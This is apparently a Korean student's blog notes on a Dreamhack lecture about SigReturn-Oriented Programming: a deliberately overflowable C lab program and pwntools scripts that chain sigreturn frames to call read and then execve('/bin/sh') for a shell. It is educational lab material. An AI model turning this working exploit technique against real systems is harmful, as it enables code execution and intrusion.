[Dreamhack] SigReturn-Oriented Programming: 2 - 실습

securitykss·2023년 3월 1일
0

Pwnable 강의(dreamhack)

목록 보기
52/58

https://dreamhack.io/lecture/courses/278 을 토대로 작성한 글입니다.

1. Introduction

얘제 코드를 보면서 시스템 콜을 통해 취약점이 존재하는 예제 프로그램을 공격하고, 셸을 획득해보자.

// Name: srop.c
// Compile: gcc -o srop srop.c -fno-stack-protector -no-pie

#include <unistd.h>

int gadget() {
  asm("pop %rax;"
      "syscall;"
      "ret" );
}

int main()
{
  char buf[16];
  read(0, buf ,1024);
}

code description

16바이트크기의 버퍼에 1024 바이트를 입력할 수 있으므로, 스택 버퍼 오버플로우가 발생한다.

주어진 gadget 함수의 코드를 이용해서 sigreturn 시스템 콜을 호출하여 레지스터를 조작하고, 셸을 획득할 수 있다.

2. Exploit

1. sigreturn 호출

SROP를 하기 위해서는 sigreturn 시스템 콜을 할 수 있어야 한다.

예제에서는 임의 시스템 콜을 호출할 수 있도록 gadget 함수를 제공하낟.

해당 함수 내부의 코드 가젯의 주소를 알아내고, 시스템 콜 번호와 syscall 명령어를 통해 sigreturn을 호출한다.

2. execve 호출

sigreturn 은 스택 영역의 값을 레지스터로 복사한다.

따라서 1024 바이트를 입력할 때 sigcontext 구조체를 생각하고,

execve 시스템 콜을 호출하기 위한 인자를 모두 설정하낟.

2.1 sigreturn 호출

pwntools에서 바이너리 내에 특정 코드를 검색하고, 해당 주소를 가져오는 기능을 제공한다.

이를 통해 가젯 주소를 알아내고, RAX 레지트서의 값을 sigreturn 시스템 콜의 번호인 15로 조작한다.

# Name: srop.py

from pwn import *

context.arch = "x86_64"

p = process("./srop")
elf = ELF("./srop")

gadget = next(elf.search(asm("pop rax; syscall")))

print(gadget)

payload = "A"*16
payload += "B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn

payload += "\x00"*40 # dummy

payload += p64(0x4141414141414141)*20
p.sendline(payload)

p.interactive()

2.2 execve 호출

2.2.1 SigreturnFrame

execve 시스템 콜을 호출하기 앞서, sigcontext 구조체에 정의된 레지스터의 순서를 고려하여 스택에 값을 써 넣어야한다.

매번 구조체를 확인하면서 스택에 값을 삽입하는 것은 힘들다.

pwntools에서는 SROP 공격을 수월하게 할 수 있게 해주는 "SigreturnFrame" 클래스를 제공한다.

>>> from pwn import *

>>> context.clear(arch='amd64')

>>> frame = SigreturnFrame()

>>> frame.rdi = 0x41414141

>>> frame.rax = 59

>>> frame.rsi = 12341234

>>> print(frame)
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00AAAA\x00\x00
\x00\x00\xf2O\xbc\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00;\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00'

2.2.2 execve 호출

# Name: srop.py
from pwn import *

context.arch = "x86_64"

p = process("./srop")
elf = ELF("./srop")

gadget = next(elf.search(asm("pop rax; syscall")))
syscall = next(elf.search(asm("syscall")))
read_got = elf.got['read']
_start = elf.symbols['_start']
binsh = "/bin/sh\x00"
bss = elf.bss()

frame = SigreturnFrame()

# read(0, bss, 0x1000)

frame.rax = 0        # SYS_read
frame.rsi = bss
frame.rdx = 0x1000
frame.rdi = 0
frame.rip = syscall
frame.rsp = bss

payload = b"A"*16
payload += b"B"*8
payload += p64(gadget)
payload += p64(15) # sigreturn
payload += bytes(frame)

p.sendline(payload)

# execve("/bin/sh", 0, 0)

frame2 = SigreturnFrame()
frame2.rip = syscall
frame2.rax = 0x3b # execve
frame2.rsp = bss + 0x500 
frame2.rdi = bss + 0x108

rop = p64(gadget)
rop += p64(15)
rop += bytes(frame2)
rop += b"/bin/sh\x00"

p.sendline(rop)

p.interactive()

마치며

예제를 통해 SROP를 통해 SigreturnFrame()을 활용해서 익스를 해봤다.

Reference

https://dreamhack.io/lecture/courses/278

profile
보안 공부를 하는 학생입니다.

0개의 댓글